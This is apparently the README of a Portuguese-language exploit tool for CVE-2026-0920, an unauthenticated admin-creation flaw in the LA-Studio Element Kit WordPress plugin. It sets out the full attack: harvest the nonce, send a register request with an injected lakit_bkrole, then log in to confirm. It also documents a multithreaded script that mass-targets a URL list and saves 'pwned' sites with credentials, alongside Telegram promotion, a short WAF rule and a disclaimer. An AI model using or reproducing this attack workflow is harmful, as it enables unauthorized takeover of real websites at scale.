
LA-Studio Element Kit for Elementor <= 1.5.6.3 - Escalação de Privilégios Não Autenticada via Backdoor para Criação de Usuário Administrativo via parâmetro lakit_bkrole
LA-Studio Element Kit for Elementor <= 1.5.6.3 - Escalação de Privilégios Não Autenticada via Backdoor para Criação de Usuário Administrativo via parâmetro lakit_bkrole
_____ _____ ___ __ ___ __ __ ___ ___ __
/ __\ \ / / __|_|_ ) \_ )/ / ___ / \/ _ \_ ) \
| (__ \ V /| _|___/ / () / // _ \___| () \_, // / () |
\___| \_/ |___| /___\__/___\___/ \__/ /_//___\__/
📡 O exploit chega aqui primeiro. Siga @KNxploited no Telegram — seu feed de elite com CVEs recém-divulgadas, PoCs funcionais e pesquisa de segurança de precisão. Atualizado incansavelmente. Feito para quem está à frente.
CVE-2026-0920 é uma vulnerabilidade Crítica com CVSS 9.8 descoberta no plugin WordPress LA-Studio Element Kit for Elementor.
A falha reside na função ajax_register_handle(), que processa registros de usuários não autenticados via AJAX. A função não impõe nenhuma restrição ao parâmetro lakit_bkrole — permitindo que um atacante totalmente não autenticado atribua a si mesmo o papel administrator durante o registro, obtendo a assunção total do admin do WordPress em uma única requisição.
A causa raiz é a ausência de uma verificação de capacidade de papel dentro do manipulador de registro AJAX do plugin:
// Registered with no authentication requirement
add_action('wp_ajax_nopriv_lakit_ajax', [$this, 'ajax_register_handle']);
public function ajax_register_handle() {
$actions = json_decode(stripslashes($_POST['actions']), true);
foreach ($actions as $req) {
if ($req['action'] === 'register') {
$data = $req['data'];
$user_data = [
'user_login' => $data['username'],
'user_pass' => $data['password'],
'user_email' => $data['email'],
'role' => $data['lakit_bkrole'], // ← ATTACKER CONTROLLED
];
// No validation of $data['lakit_bkrole'] against allowed roles
wp_insert_user($user_data); // Administrator created silently
}
}
}
Por que isso é crítico:
wp_ajax_nopriv_* = acessível por qualquer pessoa sem nenhuma autenticaçãolakit_bkrole aceita qualquer string de papel do WordPress — incluindo administratorStep 1 — Nonce Harvesting
──────────────────────────────────────────────────────────────────────
GET / (or /index.php, /home, /?page_id=1)
Search HTML/JS for:
"ajaxNonce": "<value>" ← Inline JSON config
ajaxNonce: '<value>' ← JS variable
data-ajaxnonce="<value>" ← HTML attribute
Nonce is publicly accessible — no login required.
↓
ajaxNonce extracted ✔️
──────────────────────────────────────────────────────────────────────
Step 2 — Admin Account Registration
──────────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = lakit_ajax
_nonce = <extracted nonce>
actions = {
"req1": {
"action": "register",
"data": {
"email": "[email protected]",
"password": "adminSA",
"username": "Nx_admin",
"lakit_field_log": "yes", ← use supplied username
"lakit_field_pwd": "yes", ← use supplied password
"lakit_field_cpwd": "no", ← skip password confirm
"lakit_bkrole": "1", ← trigger admin role injection
"lakit_recaptcha_response": ""
}
}
}
↓
Administrator account silently created ✔️
──────────────────────────────────────────────────────────────────────
Step 3 — Full Admin Verification
──────────────────────────────────────────────────────────────────────
POST /wp-login.php
log = Nx_admin
pwd = adminSA
↓
Session cookies obtained → GET /wp-admin/plugin-install.php
↓
Plugin install page accessible = CONFIRMED FULL ADMIN ✔️
pip install requests colorama
| Dependência | Finalidade |
|---|---|
requests | Requisições HTTP, gerenciamento de sessão e cookies |
Python 3.10+ recomendado (usa type hints de união
str | None).
CVE-2026-0920/
├── CVE-2026-0920.py # Main exploit script
├── list.txt # Target URLs — one per line
├── success_results.txt # Auto-generated: pwned targets + credentials
Abra o arquivo CVE-2026-0920.py e edite as constantes no topo para definir os dados desejados da conta de administrador:
ADMIN_EMAIL = "[email protected]" # Email for the new admin account
ADMIN_PASSWORD = "adminSA" # Password for the new admin account
ADMIN_USERNAME = "Nx_admin" # Username for the new admin account
Crie um arquivo list.txt com uma URL de alvo por linha:
https://target1.com
https://target2.com
http://target3.com
URLs sem esquema recebem automaticamente o prefixo
https://.
python CVE-2026-0920.py
Você verá os seguintes prompts:
Enter targets list filename (e.g. list.txt): list.txt
Enter number of threads (1-50): 20
O script produz uma saída de terminal em tempo real e com código de cores:
[14:22:01] [*] https://target.com - Starting target
[14:22:02] [+] https://target.com - kay: a4f9c2b1e3
[14:22:02] [*] https://target.com - AJAX HTTP status: 200
[14:22:03] [+] https://target.com - AJAX response indicates success
[14:22:04] [*] https://target.com - Full admin verification: OK
============================================================
[ SUCCESS BLOCK ]
Site : https://target.com
Result : SUCCESS
AJAX OK : YES
FULL ADMIN : YES (login + plugin install access)
============================================================
| Cor | Significado |
|---|
Exploits bem-sucedidos são gravados em success_results.txt:
https://victim.com | USERNAME:Nx_admin | EMAIL:[email protected] | PASSWORD:adminSA | LOGIN:FULL_ADMIN_OK | RESP_SUCCESS:YES | NONCE:a4f9c2b1e3
Cada linha contém o panorama completo: alvo, credenciais, status de login, status da resposta AJAX e o nonce utilizado.
O script realiza uma verificação em dois estágios para eliminar falsos positivos:
Stage 1 — AJAX Response Analysis
Checks for success markers in the JSON response:
• "created successfully"
• "success":true
• "type":"success"
• "status":"success"
Stage 2 — Real Login + Plugin Install Access Test
1. POST /wp-login.php with injected credentials
2. GET /wp-admin/plugin-install.php
3. Confirm 200 response + plugin upload form present
4. Confirm no redirect back to wp-login.php
Only BOTH stages passing = TRUE SUCCESS reported
Isso elimina falsos positivos causados por sites que retornam 200 OK no AJAX, mas falham silenciosamente no registro.
O exploit gera este padrão de rede específico — para defensores e autores de WAF:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=lakit_ajax&_nonce=<VALUE>&actions={"req1":{"action":"register","data":{...,"lakit_bkrole":"1",...}}}
Regra de WAF / IDS (Pseudocódigo):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "lakit_ajax"
AND request.body CONTAINS "lakit_bkrole"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2026-0920)
Se você é proprietário de site, desenvolvedor ou defensor, aja imediatamente:
admin-ajax.php contendo lakit_bkrole no nível do WAFlakit_ajaxTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.
By downloading, executing, or modifying this script, you explicitly agree:
• You hold EXPLICIT, WRITTEN authorization from the owner of every
target system you test. No exceptions. No grey areas.
• You are operating within a formally scoped, authorized penetration
testing engagement or a controlled lab environment.
• You will NOT use this tool against any system, network, or
infrastructure without documented legal permission.
• Nxploited and all contributors bear ZERO liability for unauthorized
use, data loss, system damage, legal proceedings, or criminal
prosecution arising from the use of this tool.
Unauthorized use of this exploit constitutes a criminal offense under:
— Computer Fraud and Abuse Act (CFAA), USA
— Computer Misuse Act (CMA), UK
— EU Directive 2013/40/EU on Attacks Against Information Systems
— Saudi Arabia's Anti-Cyber Crime Law (No. M/17)
— And all equivalent national and international cybercrime legislation.
USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.
| Apelido | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Siga @KNxploited no Telegram CVEs novas. Exploits funcionais. Pesquisa de vulnerabilidade aprofundada. Primeiro a saber. Primeiro a agir. Não seja o último.
| Campo | Detalhes |
|---|
| ID CVE | CVE-2026-0920 |
| Plugin | LA-Studio Element Kit for Elementor |
| Slug | lakit / la-studio-element-kit-for-elementor |
| Versões Afetadas | Todas as versões até 1.5.6.3 inclusive |
| Tipo de Vulnerabilidade | Escalação de Privilégios Não Autenticada / Criação de Admin |
| Vetor de Ataque | Rede — Nenhuma Autenticação Necessária |
| Pontuação CVSS 3.1 | 9.8 CRÍTICA |
| Vetor CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impacto | Assunção Total do Administrador do WordPress |
| Pesquisador | Nxploited |
colorama| Saída colorida no terminal em todas as plataformas |
threading | Processamento concorrente de múltiplos alvos |
re | Extração de nonce baseada em regex a partir de HTML/JS |
🔵 Ciano [*] | Informativo — etapa em andamento |
🟢 Verde [+] | Sinal positivo — sucesso parcial ou total |
🟡 Amarelo [!] | Aviso — resultado ambíguo, requer revisão |
🔴 Vermelho [-] | Falha — alvo não explorável ou erro |
| Parâmetro | Padrão | Descrição |
|---|
| Arquivo de alvos | list.txt | Arquivo contendo as URLs dos alvos |
| Threads | 10 (máx.: 50) | Workers concorrentes |
ADMIN_EMAIL | [email protected] | E-mail da conta admin injetada |
ADMIN_PASSWORD | adminSA | Senha da conta admin injetada |
ADMIN_USERNAME | Nx_admin | Nome de usuário da conta admin injetada |